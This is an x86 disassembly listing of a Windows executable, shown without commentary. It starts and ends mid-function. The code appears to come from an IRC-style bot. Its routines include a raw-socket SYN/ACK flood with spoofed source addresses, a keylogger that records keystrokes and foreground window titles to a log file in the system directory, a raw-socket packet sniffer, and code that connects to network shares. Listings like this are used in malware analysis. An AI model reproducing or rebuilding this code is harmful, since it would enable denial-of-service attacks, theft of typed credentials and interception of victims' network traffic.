call sub_40BD8D
add esp, 10h
jmp short loc_401CD6
sub_401A64 endp
; =============== S U B R O U T I N E =======================================
sub_401D15 proc near ; CODE XREF: sub_4019C8+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ABF8
push [esp+10h+arg_4]
mov esi, eax
call sub_41751F
push [esp+14h+arg_8]
mov ebx, eax
call sub_41751F
mov edi, eax
call sub_417012
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_401A64
add esp, 1Ch
test eax, eax
jnz short loc_401D5E
inc eax
loc_401D5E: ; CODE XREF: sub_401D15+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401D15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D6D proc near ; DATA XREF: sub_40EC43+2CF2o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
xor esi, esi
push 0Eh
inc esi
xor ebx, ebx
mov [eax+19Ch], esi
pop ecx
xor eax, eax
lea edi, [ebp+var_9F]
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_423058
call edi ; GetTickCount
push eax
call sub_417008
pop ecx
push 0FFh
push 3
push 2
call dword_43EBA4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401E36
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset dword_425440
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401E16
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D476
add esp, 14h
loc_401E16: ; CODE XREF: sub_401D6D+84j
lea eax, [ebp+var_440]
push eax
call sub_40BD8D
push [ebp+var_BC]
call sub_416D90
pop ecx
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_401E36: ; CODE XREF: sub_401D6D+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_43EB04 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_401EB4
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset dword_4253F8
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401E94
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D476
add esp, 14h
loc_401E94: ; CODE XREF: sub_401D6D+102j
lea eax, [ebp+var_440]
push eax
call sub_40BD8D
push [ebp+var_BC]
call sub_416D90
pop ecx
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_401EB4: ; CODE XREF: sub_401D6D+DFj
lea eax, [ebp+var_23C]
push eax
call dword_43EB64 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_401F24
lea eax, [ebp+var_440]
push offset dword_4253C8
push eax
call sub_416FB6
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_401F04
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D476
add esp, 14h
loc_401F04: ; CODE XREF: sub_401D6D+172j
lea eax, [ebp+var_440]
push eax
call sub_40BD8D
push [ebp+var_BC]
call sub_416D90
pop ecx
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_401F24: ; CODE XREF: sub_401D6D+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_43EB24 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_43EB64 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
jmp loc_40218C
; ---------------------------------------------------------------------------
loc_401F61: ; CODE XREF: sub_401D6D+433j
push 28h
mov [ebp+var_2C], 45h
call dword_43EB24 ; htons
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_401FBA
call sub_417012
mov esi, eax
shl esi, 8
call sub_417012
add esi, eax
shl esi, 8
call sub_417012
add esi, eax
shl esi, 8
call sub_417012
add esi, eax
mov [ebp+var_20], esi
xor esi, esi
inc esi
jmp short loc_401FD0
; ---------------------------------------------------------------------------
loc_401FBA: ; CODE XREF: sub_401D6D+21Ej
push [ebp+var_240]
call sub_40AD08
pop ecx
push eax
call dword_43EB64 ; inet_addr
mov [ebp+var_20], eax
loc_401FD0: ; CODE XREF: sub_401D6D+24Bj
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_401FEE
call sub_417012
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_401FF4
; ---------------------------------------------------------------------------
loc_401FEE: ; CODE XREF: sub_401D6D+26Fj
push [ebp+var_B8]
loc_401FF4: ; CODE XREF: sub_401D6D+27Fj
call dword_43EB24 ; htons
mov [ebp+var_16], ax
call sub_417012
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43EB24 ; htons
push 12345678h
mov [ebp+var_18], ax
call dword_43EB20 ; htonl
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_417580
pop ecx
test eax, eax
pop ecx
jz short loc_402044
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_4020A0
; ---------------------------------------------------------------------------
loc_402044: ; CODE XREF: sub_401D6D+2CCj
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_417580
pop ecx
test eax, eax
pop ecx
jz short loc_402064
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_4020A0
; ---------------------------------------------------------------------------
loc_402064: ; CODE XREF: sub_401D6D+2ECj
lea eax, [ebp+var_1BC]
push offset aRandom ; "random"
push eax
call sub_417580
pop ecx
test eax, eax
pop ecx
jz short loc_4020A0
call sub_417012
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_417012
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_4020A0: ; CODE XREF: sub_401D6D+2D5j
; sub_401D6D+2F5j ...
push 200h
mov [ebp+var_C], 50h
call dword_43EB24 ; htons
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_43EB24 ; htons
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417090
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_417090
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AD61
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417090
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_417090
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_417030
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AD61
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417090
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_43EB88 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_402237
inc [ebp+arg_0]
loc_40218C: ; CODE XREF: sub_401D6D+1EFj
call edi ; GetTickCount
sub eax, [ebp+var_30]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_B4]
jbe loc_401F61
push [ebp+var_4]
call dword_43EBBC ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset dword_425358
push eax
call sub_416FB6
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_402217
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D476
add esp, 14h
loc_402217: ; CODE XREF: sub_401D6D+485j
lea eax, [ebp+var_440]
push eax
call sub_40BD8D
push [ebp+var_BC]
call sub_416D90
pop ecx
pop ecx
push ebx
call dword_423054 ; ExitThread
loc_402237: ; CODE XREF: sub_401D6D+416j
push [ebp+var_4]
call dword_43EBBC ; closesocket
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset dword_4252F8
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41752A
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_402295
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40D476
add esp, 14h
loc_402295: ; CODE XREF: sub_401D6D+503j
lea eax, [ebp+var_440]
push eax
call sub_40BD8D
push [ebp+var_BC]
call sub_416D90
pop ecx
pop ecx
push ebx
call dword_423054 ; ExitThread
sub_401D6D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4022B5 proc near ; CODE XREF: sub_402394+B4p
; sub_402394+247p
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call dword_42306C ; GetLocalTime
lea eax, [ebp+var_114]
push 104h
push eax
call dword_423068 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push offset asc_425C34 ; "\\"
push eax
call sub_4176D0
lea eax, [ebp+var_114]
push offset dword_42E9C4
push eax
call sub_4176D0
lea eax, [ebp+var_114]
push offset aAb ; "ab"
push eax
call sub_4176A8
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_40231A
inc eax
jmp short loc_402391
; ---------------------------------------------------------------------------
loc_40231A: ; CODE XREF: sub_4022B5+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_417656
push esi
call sub_417600
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_40238F
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_425BF4
push 200h
push eax
call sub_41752A
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_40D476
add esp, 24h
loc_40238F: ; CODE XREF: sub_4022B5+A1j
xor eax, eax
loc_402391: ; CODE XREF: sub_4022B5+63j
pop esi
leave
retn
sub_4022B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402394 proc near ; DATA XREF: sub_40EC43+1EF6o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_43EAAC ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43EAC0 ; GetWindowTextA
mov ebx, 200h
loc_4023EF: ; CODE XREF: sub_402394+2BBj
push 8
call dword_423064 ; Sleep
call dword_43EAAC ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz short loc_402477
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43EAC0 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_416FB6
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_4022B5
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_417030
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_417030
add esp, 0Ch
loc_402477: ; CODE XREF: sub_402394+6Cj
mov [ebp+arg_0], offset dword_42548C
loc_40247E: ; CODE XREF: sub_402394+2B1j
push 10h
call dword_43EA04 ; GetKeyState
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_43EAF0 ; GetAsyncKeyState
test ah, ah
jns short loc_402515
push 14h
call dword_43EA04 ; GetKeyState
test ax, ax
jz short loc_4024C6
cmp esi, 0FFFFFFFFh
jle short loc_4024C6
cmp edi, 40h
jle short loc_4024C6
cmp edi, 5Bh
jge short loc_4024C6
mov [ebp+edi*4+var_8DC], 1
jmp loc_40263A
; ---------------------------------------------------------------------------
loc_4024C6: ; CODE XREF: sub_402394+111j
; sub_402394+116j ...
push 14h
call dword_43EA04 ; GetKeyState
test ax, ax
jz short loc_4024F1
test esi, esi
jge short loc_402505
cmp edi, 40h
jle short loc_4024F1
cmp edi, 5Bh
jge short loc_4024F1
mov [ebp+edi*4+var_8DC], 2
jmp loc_40263A
; ---------------------------------------------------------------------------
loc_4024F1: ; CODE XREF: sub_402394+13Dj
; sub_402394+146j ...
test esi, esi
jge short loc_402505
mov [ebp+edi*4+var_8DC], 3
jmp loc_40263A
; ---------------------------------------------------------------------------
loc_402505: ; CODE XREF: sub_402394+141j
; sub_402394+15Fj
mov [ebp+edi*4+var_8DC], 4
jmp loc_40263A
; ---------------------------------------------------------------------------
loc_402515: ; CODE XREF: sub_402394+104j
lea eax, [ebp+edi*4+var_8DC]
mov esi, [eax]
test esi, esi
jz loc_40263A
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
push eax
call sub_4177B0
cmp edi, 8
pop ecx
jnz short loc_402548
and [ebp+eax+var_2DD], 0
jmp loc_40263A
; ---------------------------------------------------------------------------
loc_402548: ; CODE XREF: sub_402394+1A5j
cmp eax, 1B9h
jbe short loc_402574
call dword_43EAAC ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43EAC0 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_4025B5
; ---------------------------------------------------------------------------
loc_402574: ; CODE XREF: sub_402394+1B9j
cmp edi, 0Dh
jnz loc_40260C
lea eax, [ebp+var_2DC]
push eax
call sub_4177B0
test eax, eax
pop ecx
jz loc_40263A
call dword_43EAAC ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43EAC0 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_4025B5: ; CODE XREF: sub_402394+1DEj
lea eax, [ebp+var_4DC]
push eax
call sub_416FB6
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_4022B5
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_417030
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_417030
add esp, 0Ch
jmp short loc_40263A
; ---------------------------------------------------------------------------
loc_40260C: ; CODE XREF: sub_402394+1E3j
cmp esi, 1
jz short loc_402625
cmp esi, 3
jz short loc_402625
cmp esi, 2
jz short loc_402620
cmp esi, 4
jnz short loc_40263A
loc_402620: ; CODE XREF: sub_402394+285j
push [ebp+arg_0]
jmp short loc_40262C
; ---------------------------------------------------------------------------
loc_402625: ; CODE XREF: sub_402394+27Bj
; sub_402394+280j
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_40262C: ; CODE XREF: sub_402394+28Fj
lea eax, [ebp+var_2DC]
push eax
call sub_4176D0
pop ecx
pop ecx
loc_40263A: ; CODE XREF: sub_402394+12Dj
; sub_402394+158j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_425BBC
jl loc_40247E
cmp [ebp+var_4], 0
jz loc_4023EF
push [ebp+var_D8]
call sub_416D90
pop ecx
push 0
call dword_423054 ; ExitThread
sub_402394 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402669 proc near ; DATA XREF: sub_40EC43+1D48o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_417830
mov edx, [ebp+arg_0]
push esi
push edi
push 25h
xor eax, eax
pop ecx
mov esi, edx
lea edi, [ebp+var_B4]
inc eax
push 10h
rep movsd
mov [ebp+var_8], eax
mov [edx+90h], eax
xor esi, esi
lea eax, [ebp+var_1C]
push esi
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_43EB24 ; htons
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AD08
pop ecx
push eax
call dword_43EB64 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_43EBA4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_40273E
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset unk_426628
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402721
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D476
add esp, 14h
loc_402721: ; CODE XREF: sub_402669+96j
lea eax, [ebp+var_2B4]
push eax
call sub_40BD8D
push [ebp+var_30]
call sub_416D90
pop ecx
pop ecx
push esi
call dword_423054 ; ExitThread
loc_40273E: ; CODE XREF: sub_402669+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_444574[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_43EB50 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4027C3
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset unk_4265E0
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_40279F
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D476
add esp, 14h
loc_40279F: ; CODE XREF: sub_402669+114j
lea eax, [ebp+var_2B4]
push eax
call sub_40BD8D
pop ecx
push edi
call dword_43EBBC ; closesocket
push [ebp+var_30]
call sub_416D90
pop ecx
push esi
call dword_423054 ; ExitThread
loc_4027C3: ; CODE XREF: sub_402669+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_43EAD0 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_402846
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset unk_426598
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402822
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D476
add esp, 14h
loc_402822: ; CODE XREF: sub_402669+197j
lea eax, [ebp+var_2B4]
push eax
call sub_40BD8D
pop ecx
push edi
call dword_43EBBC ; closesocket
push [ebp+var_30]
call sub_416D90
pop ecx
push esi
call dword_423054 ; ExitThread
loc_402846: ; CODE XREF: sub_402669+177j
push ebx
mov ebx, offset dword_425C90
loc_40284C: ; CODE XREF: sub_402669+21Cj
; sub_402669+22Ej ...
push 0FFFFh
lea eax, [ebp+var_102B4]
push esi
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push 0FFFFh
push eax
push edi
call dword_43EB3C ; recv
cmp eax, 0FFFFFFFFh
jz loc_40295E
cmp [ebp+var_102AB], 6
jnz short loc_40284C
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_40284C
lea eax, [ebp+var_1028C]
push offset aPsniff ; "[PSNIFF]"
push eax
call sub_417580
pop ecx
test eax, eax
pop ecx
jnz short loc_40284C
xor edi, edi
mov eax, ebx
mov [ebp+arg_0], ebx
loc_4028B7: ; CODE XREF: sub_402669+269j
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_417580
pop ecx
test eax, eax
pop ecx
jnz short loc_4028DC
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_4028B7
loc_4028D4: ; CODE XREF: sub_402669+2F0j
mov edi, [ebp+var_4]
jmp loc_40284C
; ---------------------------------------------------------------------------
loc_4028DC: ; CODE XREF: sub_402669+25Fj
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_43EA60 ; htons
movzx eax, ax
push eax
push [ebp+var_C]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_425CA4[eax*8]
push off_425C80[eax*4]
lea eax, [ebp+var_2B4]
push offset unk_426548
push 200h
push eax
call sub_41752A
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_40294C
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D476
add esp, 14h
loc_40294C: ; CODE XREF: sub_402669+2C1j
lea eax, [ebp+var_2B4]
push eax
call sub_40BD8D
pop ecx
jmp loc_4028D4
; ---------------------------------------------------------------------------
loc_40295E: ; CODE XREF: sub_402669+20Fj
call dword_43EAB8 ; WSAGetLastError
push eax
push offset unk_426500
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41752A
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_4029A4
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40D476
add esp, 14h
loc_4029A4: ; CODE XREF: sub_402669+319j
lea eax, [ebp+var_2B4]
push eax
call sub_40BD8D
pop ecx
push edi
call dword_43EBBC ; closesocket
push [ebp+var_30]
call sub_416D90
pop ecx
push esi
call dword_423054 ; ExitThread
sub_402669 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4029C8 proc near ; CODE XREF: sub_402DB1+28p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_426B98
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_426B90 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43BCE8
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call dword_423070 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41785F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41785F
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_43BCE4
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_43EBC4
cmp eax, 5
mov ebx, 4C3h
jz short loc_402A8C
cmp eax, ebx
jnz short loc_402A96
loc_402A8C: ; CODE XREF: sub_4029C8+BEj
push edi
push edi
push edi
push esi
call dword_43EBC4
loc_402A96: ; CODE XREF: sub_4029C8+C2j
cmp eax, 5
jz short loc_402AA4
cmp eax, ebx
jz short loc_402AA4
xor eax, eax
inc eax
jmp short loc_402AA6
; ---------------------------------------------------------------------------
loc_402AA4: ; CODE XREF: sub_4029C8+D1j
; sub_4029C8+D5j
xor eax, eax
loc_402AA6: ; CODE XREF: sub_4029C8+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_4029C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402AAB proc near ; CODE XREF: sub_402DB1+7Ap
; sub_402DB1+15Ap
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_426B98
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_426B90 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43BCE8
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call dword_423070 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41785F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41785F
add esp, 10h
jmp short loc_402B49
; ---------------------------------------------------------------------------
loc_402B3E: ; CODE XREF: sub_402AAB+AFj
push 7D0h
call dword_423064 ; Sleep
loc_402B49: ; CODE XREF: sub_402AAB+91j
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_43EA64
test eax, eax
jnz short loc_402B3E
pop edi
inc eax
